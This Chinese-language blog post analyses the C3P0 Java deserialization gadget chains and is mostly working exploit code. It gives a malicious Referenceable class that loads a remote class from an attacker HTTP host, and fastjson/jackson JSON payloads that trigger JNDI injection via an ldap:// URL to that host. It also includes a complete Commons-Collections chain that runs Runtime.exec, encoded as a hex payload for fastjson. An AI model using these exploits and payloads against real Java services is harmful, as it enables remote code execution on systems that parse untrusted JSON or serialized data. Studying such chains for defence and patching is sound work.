Java反序列化之C3P0

C3P0简介

C3P0是一个JDBC连接池,实现了数据源与JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。

分析

C3P0这条链子的起点是com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase,先来了解一下该类

PoolBackedDataSourceBase

PoolBackedDataSourceBase也是一个封装对象,其中储存了PropertyChangeSupportVetoableChangeSupport对象,用于支持监听器的功能。

该类在序列化和反序列化的时候,都会保存内部的ConnectionPoolDataSource变量,如果变量是不可序列化的对象,就会使用ReferenceIndirector 对其进行引用的封装,返回一个可以序列化的IndirectlySerialized对象。

流程

从代码可以看出

  • 序列化

image-20220402165204000

跟进ReferenceIndirector#indirectForm

image-20220402170305653

在该方法中会调用ConnectionPoolDataSource变量的getReference方法返回Reference对象,然后使用ReferenceSerialized对返回的对象进行封装。

  • 反序列化

image-20220402165256297

反序列化时会调用IndirectlySerializedgetObject方法,获取其中封装的ConnectionPoolDataSource对象。序列化时使用的是ReferenceSerialized封装对象,所以这里调用的是ReferenceSerialized#getObject

image-20220402172038494

contextName不为空时会调用InitialContext#lookup尝试使用JNDI获取对象,当contextName为空时,则会调用ReferenceableUtils#referenceToObject

image-20220402172253634

可以看到使用URLClassLoader加载类并且实例化,那么就可以想办法使其加载远程恶意类实现RCE。

EXP构造

构造该利用链exp比较关键的一点就是要自定义一个不可序列化且实现了Referenceable的类,然后将其实例化对象赋值给PoolBackedDataSourceBaseConnectionPoolDataSource属性。这个自定义类的getReference方法要返回一个恶意的Reference对象,例子如下

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class testConnectionPD implements Referenceable, ConnectionPoolDataSource {
    @Override
    public Reference getReference() throws NamingException {
        return new Reference("calc","calc","http://192.168.43.66:8888/");
    }

    @Override
    public PooledConnection getPooledConnection() throws SQLException {
        return null;
    }

    @Override
    public PooledConnection getPooledConnection(String user, String password) throws SQLException {
        return null;
    }

    @Override
    public PrintWriter getLogWriter() throws SQLException {
        return null;
    }

    @Override
    public void setLogWriter(PrintWriter out) throws SQLException {

    }

    @Override
    public void setLoginTimeout(int seconds) throws SQLException {

    }

    @Override
    public int getLoginTimeout() throws SQLException {
        return 0;
    }

    @Override
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
        return null;
    }
}

然后是利用链的exp

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.Reference;
import javax.sql.ConnectionPoolDataSource;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

public class exp {
    public static void main(String[]  args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
        ConnectionPoolDataSource cpd=new testConnectionPD();
        Constructor constructor=Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
        constructor.setAccessible(true);
        PoolBackedDataSourceBase pbds= (PoolBackedDataSourceBase) constructor.newInstance();
        Field connectionPoolDataSource=pbds.getClass().getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSource.setAccessible(true);
        connectionPoolDataSource.set(pbds,cpd);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeObject(pbds);
        oser.close();


        System.out.println(ser);
        ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
        Object newobj=unser.readObject();
    }
}

image-20220402211714672

C3P0在fastjson/jackson中的利用

除了上面那条gadget,还有大佬分享了通过调用setter实现JNDI注入和Hex字节码加载的方法,这也使得C3P0在fastjson和jackson中可以发挥新的作用

JNDI注入

先看POC

jackson

{"object":["com.mchange.v2.c3p0.JndiRefForwardingDataSource",{"jndiName":"ldap://192.168.43.66:8888/calc", "loginTimeout":0}]}

fastjson

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://192.168.43.66:8888/calc", "loginTimeout":0}

可以看到,在POC中对两个属性进行了赋值,jndiNameloginTimeout。既然说了是通过setter去实现JNDI注入,就直接看到setter

image-20220402221847414

setJndiName没什么好说的,继续看setLoginTimeout

image-20220402221953671

调用了inner方法,跟进

image-20220402222025289

这里的this.cachedInnernull,调用到dereference方法

image-20220402222114294

可以看到在箭头指向处调用了lookup方法,且参数就是我们的jndiName,也就实现了JNDI注入,复现一下

image-20220402222239803

Hex序列化字节码加载(不出网利用)

先看POC

jackson

{"object":["com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",{"userOverridesAsString":"HexAsciiSerializedMap:"+ poc + ";"}]}

fastjson

{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:"+poc+";"}

这里用到的是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,只设置了userOverridesAsString一个属性,直接看到其setter

image-20220402230031658

当设置的userOverridesAsString与原来的值不同时,就会触发fireVetoableChange事件,最后也就会调用到setUpPropertyListeners方法重新封装一个监听器,跟进该方法

image-20220402230600207

这里传入的propNameuserOverridesAsString,就直接看这部分,调用了C3P0ImplUtils#parseUserOverridesAsStringval进行处理,这里的val就是我们设置的userOverridesAsString的值

image-20220402230804472

然后取出字符串中HexAsciiSerializedMap?之后且不包含最后一位的部分,通过fromHexAscii方法转化为字节数组,又调用SerializableUtils#fromByteArray处理转换后的字节数组,跟进

image-20220402231011593

跟进deserializeFromByteArray方法

image-20220402231033504

直接就是一个原生反序列化,所以如果本地有可利用的gadget的话,就可以实现fastjson反序列化->原生反序列化->RCE这样一个攻击流程。这也可以实现fastjson的不出网利用

在本地测试一下,先导入cc的依赖,然后构造一下POC

import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class c3p0Hex {
    public static void main(String[] args) throws PropertyVetoException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        Map old = new HashMap();
        Transformer[] x = new Transformer[]{
                ConstantTransformer.getInstance(Runtime.class),
                InvokerTransformer.getInstance("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                InvokerTransformer.getInstance("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                InvokerTransformer.getInstance("exec", new Class[]{String.class}, new String[]{"calc"})
        };

        Transformer[] fakeTransformers=new Transformer[]{new ConstantTransformer(1)};
        Transformer chain= new ChainedTransformer(fakeTransformers);
        Map newmap = LazyMap.decorate(old,chain);
        TiedMapEntry entry=new TiedMapEntry(newmap,"novic4");
        Map ht=new HashMap();
        ht.put(entry,"novic4");
        newmap.remove("novic4");
        Field trans=ChainedTransformer.class.getDeclaredField("iTransformers");
        trans.setAccessible(true);
        trans.set(chain,x);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeObject(ht);
        oser.close();

        String poc= ByteUtils.toHexAscii(ser.toByteArray());

        String json="{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\"HexAsciiSerializedMap:"+poc+";\"}";
        JSON.parseObject(json);
    }
}

image-20220403161404300

要注意的是,在分析流程的时候说过序列化字节数组是通过fromHexAscii方法转换过去的,所以这里用了toHexAscii方法将序列化字节数组转为符合要求的hex字符串。

参考文章

http://redteam.today/2020/04/18/c3p0%E7%9A%84%E4%B8%89%E4%B8%AAgadget/

https://su18.org/post/ysoserial-su18-5/#c3p0

本文链接:

http://novic4.cn/index.php/archives/18.html
1 + 8 =
快来做第一个评论的人吧~